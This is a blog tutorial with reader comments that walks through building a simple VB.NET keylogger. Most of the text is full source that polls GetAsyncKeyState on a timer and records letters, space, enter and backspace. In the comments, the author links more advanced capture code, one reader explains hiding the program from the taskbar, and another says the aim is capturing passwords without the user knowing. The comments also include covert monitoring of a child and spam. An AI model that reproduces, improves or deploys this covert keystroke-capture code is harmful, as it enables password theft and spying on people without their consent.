How To Make A VERY Simple Keylogger In VB.NET

Creating a very simple keylogger

1. Open Visual Studio or Visual Basic.
2. Create a new windows form project and name it whatever you want.

Now to the controls

1. Add one richtextbox, make it dock "Fill"
2. Add one timer, make the interval 100 and make it enabled

now to add the code







Add this piece of code under public class form1, like on the picture above
 Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16 



Now double click the timer and add this code

Dim hotkey1 As Boolean
        hotkey1 = GetAsyncKeyState(Keys.A)
        If hotkey1 = True Then
            RichTextBox1.SelectedText = "A"
        End If
        Dim hotkey2 As Boolean
        hotkey2 = GetAsyncKeyState(Keys.B)
        If hotkey2 = True Then
            RichTextBox1.SelectedText = "B"
        End If

        Dim hotkey3 As Boolean
        hotkey3 = GetAsyncKeyState(Keys.C)
        If hotkey3 = True Then
            RichTextBox1.SelectedText = "C"
        End If

        Dim hotkey4 As Boolean
        hotkey4 = GetAsyncKeyState(Keys.D)
        If hotkey4 = True Then
            RichTextBox1.SelectedText = "D"
        End If

        Dim hotkey5 As Boolean
        hotkey5 = GetAsyncKeyState(Keys.E)
        If hotkey5 = True Then
            RichTextBox1.SelectedText = "E"
        End If

        Dim hotkey6 As Boolean
        hotkey6 = GetAsyncKeyState(Keys.F)
        If hotkey6 = True Then
            RichTextBox1.SelectedText = "F"
        End If

        Dim hotkey7 As Boolean
        hotkey7 = GetAsyncKeyState(Keys.G)
        If hotkey7 = True Then
            RichTextBox1.SelectedText = "G"
        End If

        Dim hotkey8 As Boolean
        hotkey8 = GetAsyncKeyState(Keys.H)
        If hotkey8 = True Then
            RichTextBox1.SelectedText = "H"
        End If

        Dim hotkey9 As Boolean
        hotkey9 = GetAsyncKeyState(Keys.I)
        If hotkey9 = True Then
            RichTextBox1.SelectedText = "I"
        End If

        Dim hotkey10 As Boolean
        hotkey10 = GetAsyncKeyState(Keys.J)
        If hotkey10 = True Then
            RichTextBox1.SelectedText = "J"
        End If

        Dim hotkey11 As Boolean
        hotkey11 = GetAsyncKeyState(Keys.K)
        If hotkey11 = True Then
            RichTextBox1.SelectedText = "K"
        End If

        Dim hotkey12 As Boolean
        hotkey12 = GetAsyncKeyState(Keys.L)
        If hotkey12 = True Then
            RichTextBox1.SelectedText = "L"
        End If

        Dim hotkey13 As Boolean
        hotkey13 = GetAsyncKeyState(Keys.M)
        If hotkey13 = True Then
            RichTextBox1.SelectedText = "M"
        End If

        Dim hotkey14 As Boolean
        hotkey14 = GetAsyncKeyState(Keys.N)
        If hotkey14 = True Then
            RichTextBox1.SelectedText = "N"
        End If

        Dim hotkey15 As Boolean
        hotkey15 = GetAsyncKeyState(Keys.O)
        If hotkey15 = True Then
            RichTextBox1.SelectedText = "O"
        End If

        Dim hotkey16 As Boolean
        hotkey16 = GetAsyncKeyState(Keys.P)
        If hotkey16 = True Then
            RichTextBox1.SelectedText = "P"
        End If

        Dim hotkey17 As Boolean
        hotkey17 = GetAsyncKeyState(Keys.Q)
        If hotkey17 = True Then
            RichTextBox1.SelectedText = "Q"
        End If

        Dim hotkey18 As Boolean
        hotkey18 = GetAsyncKeyState(Keys.R)
        If hotkey18 = True Then
            RichTextBox1.SelectedText = "R"
        End If

        Dim hotkey19 As Boolean
        hotkey19 = GetAsyncKeyState(Keys.S)
        If hotkey19 = True Then
            RichTextBox1.SelectedText = "S"
        End If

        Dim hotkey20 As Boolean
        hotkey20 = GetAsyncKeyState(Keys.T)
        If hotkey20 = True Then
            RichTextBox1.SelectedText = "T"
        End If

        Dim hotkey21 As Boolean
        hotkey21 = GetAsyncKeyState(Keys.U)
        If hotkey21 = True Then
            RichTextBox1.SelectedText = "U"
        End If

        Dim hotkey22 As Boolean
        hotkey22 = GetAsyncKeyState(Keys.V)
        If hotkey22 = True Then
            RichTextBox1.SelectedText = "V"
        End If

        Dim hotkey23 As Boolean
        hotkey23 = GetAsyncKeyState(Keys.X)
        If hotkey23 = True Then
            RichTextBox1.SelectedText = "X"
        End If

        Dim hotkey24 As Boolean
        hotkey24 = GetAsyncKeyState(Keys.Y)
        If hotkey24 = True Then
            RichTextBox1.SelectedText = "Y"
        End If

        Dim hotkey25 As Boolean
        hotkey25 = GetAsyncKeyState(Keys.Z)
        If hotkey25 = True Then
            RichTextBox1.SelectedText = "Z"
        End If

        Dim hotkey26 As Boolean
        hotkey26 = GetAsyncKeyState(Keys.Space)
        If hotkey26 = True Then
            RichTextBox1.SelectedText = " "
        End If

        Dim hotkey27 As Boolean
        hotkey27 = GetAsyncKeyState(Keys.Enter)
        If hotkey27 = True Then
            RichTextBox1.SelectedText = vbNewLine
        End If

        Dim hotkey28 As Boolean
        hotkey28 = GetAsyncKeyState(Keys.W)
        If hotkey28 = True Then
            RichTextBox1.SelectedText = "W"
        End If

        Dim hotkey29 As Boolean
        hotkey29 = GetAsyncKeyState(Keys.Back)
        If hotkey29 = True Then
            RichTextBox1.SelectedText = "(Backspace)"
        End If
Now that should be it you have a very simple keylogger
Please dont repost without giving credits to the right website, thank you
Written and coded by: AnoPem

19 comments

After looking at a handful of the articles on your site, I honestly like your technique of blogging.

I added it to my bookmark site list and will be checking back in
the near future. Take a look at my website as well and let me know how you feel.
Feel free to surf my page ; Smartgirl Rabattcode Oktober

Reply

I liked your post, always try to make something creative as I have made a website for my UK friends where anyone can send Free online sms to more than 240 countries. must visit http://uksmsfun.com

Reply

I realize this is just a simple keylogger are you able to give some tips on how to identify the active window to be logged as well?

Example say my son opens IE, this or the process name (iexplore.exe) will be logged as well, to identify what window is being logged.

Are you able to provide a tip on this?

Kind Regards,
Andrea

PS. Thank you for creating such a helpful site. Love your easy to understand examples.

Reply

Hello,

That would be something like this:

Dim proc() As Process
proc = Process.GetProcessesByName("processName")

Reply

Sorry for the very late reply, but heres an example of what your asking.

It requires a textbox and a timer to work
the code can be found here
http://pastebin.com/K7sU2Tvh

add me on skype if you need assistance with the code my id is "Per-Pem"

Reply

Hi there!!

I'm very interested in making my own keylogger, however, I have no knowledge when it comes to codes and VB. I was wondering if you are able to provide screen shots on how to do this and if I wanted to check the keystrokes, how would I do that? would I need to go into a file to see what has been recorded?

Thank You!!!

Reply

How about in small caps? this is not working. all logs converted into Uppercase. We always know that we have to make keylogger so that we can captured password without the knowledge of user right? try to improved this article brother, i know u can make this better.

Reply

Wow, so helpful :) but I have a problem:
When I compile it, I can write in the window, but it don't register keys pressed outside the form.
The code is exactly the same.
Any idea?

Reply

For that you need a more advanced one, heres an source on how to register keys
You need 1 textbox named textbox1 and 1 timer named timer1 and the code below
http://pastebin.com/Qz2bM7sQ

Reply

Hello

For those who wants the program hidden when you executed the Keylogger just set 'ShowInTaskbar "False"
If you want it to manifest just press Alt + Tab on your Keyboard and Select it

Reply

Once again Back to you
This is not the full version.
As more update will be on: will check which window is active and the 2nd is to remove bug.
bug: If my pass: 123456789 but instead of this I type: 1256789 and then changing location of the cursor after num2 then type this:34 so actual text: 123456789 but keylogger will tell 1256789 34

Please Help me with this.

Reply

This is Keytroller

Reply

Keytroller hahah :D

Reply

please email me: excelross12@gmail.com, need some help. thanks

Reply

You can use a new boolean variable to detect if the Caps are un/activated

If Console.CapsLock = Ture Then
'// Captial Letters on
Else
'// Lowercase on
End If

Reply

some people hold shift to caps as its easier and faster if you're typing something like "ExAmPLe" and some activate the caps and hold shift to use lowercase back so this will need to check if the shift key is held and if the caps activated if both true or both false goto lowercase if one true and the other false goto uppercase it should be easy to do and i can do it right now iam just searching on how to check the numbers and the keypad and the arrows and other keys like +-*/.?,;'[]\` and detects if the backspace and delete keys pressed too but as to the cursor moving thing that is impossible to know where the cursor changed to and one last thing that is probably imposible to know is for example my password is 21r524ogh
and i type in the password field 13dg5ds6ag6d1as6g21r524oghawesdag notice the password in the middle? totally random and unnoticeable so i count how many character i typed after i type my password then delete them which wont get detected (unless i detect if the backspace key pressed and instead of deleting it types something like BacKSpaCE(randomized so if someone wrote BACKSPACE or backspace it gets logged and considired a deleting by whoever checks the logger) and it types that the amount of times it was pressed) and then i go with my cursor before my password and delete the rest (if the victim is stupid he will remember the characters he typed before too and goes to the start and instead of deleting using backspace he uses the delete button which deletes after the cursor and by using this information it will be enough to eliminate what he faked and see the real password) and another example my password is a simple understandable sentence or words if the words are random like different names use other fake names and delete them and if its a sentence or something try to implement it in something else like the password is 1540 i type in something like the meeting is at 1540 and delete the rest or if its bacon type i wont eat bacon today (lol) and delete the rest or b this is not my password con and delete this is not my password without deleting the a in password which will make it bacon in the end :D

Reply

You can find here even more articles on kids' safety for parents and all the responsible for kids.

Reply

Post a Comment